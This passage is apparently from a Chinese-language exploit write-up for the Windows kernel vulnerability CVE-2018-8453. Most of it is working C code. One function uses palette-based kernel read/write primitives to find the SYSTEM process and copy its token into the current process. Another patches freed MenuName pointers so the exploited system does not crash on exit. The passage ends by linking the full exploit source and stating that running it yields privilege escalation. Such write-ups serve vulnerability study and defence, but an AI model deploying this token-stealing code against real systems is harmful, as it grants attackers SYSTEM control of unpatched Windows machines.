BOOL EnablePrivilege_CVE_2018_8453(HPALETTE hManager, HPALETTE hWorker){ BOOL bRet = TRUE; DWORD dwEntries = sizeof(ULONG64) / sizeof(PALETTEENTRY); DWORD dwFirstColorOffset = 0x78; DWORD dwStart = (0x800 - 0x88 + dwFirstColorOffset) / 4; // 獲取System進程的EPROCESS ULONG64 ulSystemEprocess = GetSystemEprocessByPalette(hManager, hWorker, dwStart, dwEntries); if (!ulSystemEprocess) { bRet = FALSE; goto exit; } DWORD CONST dwPIDOffset = 0x2E0, dwLinksOffset = 0x2E8, dwTokenOffset = 0x358; ULONG64 ulPID = GetCurrentProcessId(), ulCurPID = 0, ulCurEprocess = ulSystemEprocess; // 獲取當前進程EPROCESS do { ulCurEprocess = ReadDataByPalette(hManager, hWorker, dwStart, dwEntries, (PVOID)(ulCurEprocess + dwLinksOffset)); ulCurEprocess -= dwLinksOffset; ulCurPID = ReadDataByPalette(hManager, hWorker, dwStart, dwEntries, (PVOID)(ulCurEprocess + dwPIDOffset)); } while (ulPID != ulCurPID); ULONG64 ulToken = 0; // 將system進程的token賦給當前進程 ulToken = ReadDataByPalette(hManager, hWorker, dwStart, dwEntries, (PVOID)(ulSystemEprocess + dwTokenOffset)); WriteDataByPalette(hManager, hWorker, dwStart, dwEntries, (PVOID)(ulCurEprocess + dwTokenOffset), ulToken); exit: return bRet;}
由于觸發漏洞的時候,xxxSBTrackInit會釋放掉MenuName所指的內存,為了防止在進程退出,釋放資源的時候再次對其進行釋放導致雙重釋放,就需要通過前面在g_ulMenuName中保存的地址修改為NULL來解決該問題,對應代碼如下:
BOOL ReapairData_CVE_2018_8453(HPALETTE hManager, HPALETTE hWorker){ BOOL bRet = TRUE; ULONG64 ulValue = 0; DWORD i = 0; DWORD dwEntries = sizeof(ULONG64) / sizeof(PALETTEENTRY); DWORD dwFirstColorOffset = 0x78; DWORD dwStart = (0x800 - 0x88 + dwFirstColorOffset) / 4; for (i = 0; i < 0x400; i++) { if (g_ulMenuName_2018_8453[i]) { if (!WriteDataByPalette(hManager, hWorker, dwStart, dwEntries, (PVOID)g_ulMenuName_2018_8453[i], (ULONG64)ulValue)) { printf("reapair wrong\n"); bRet = FALSE; goto exit; } } else break; } exit: return bRet;}
完整的代碼保存在:https://github.com/LegendSaber/exp_x64/blob/master/exp_x64/CVE-2018-8453.cpp。運行程序就可以成功提權,且退出程序的時候不會產生BSOD錯誤:

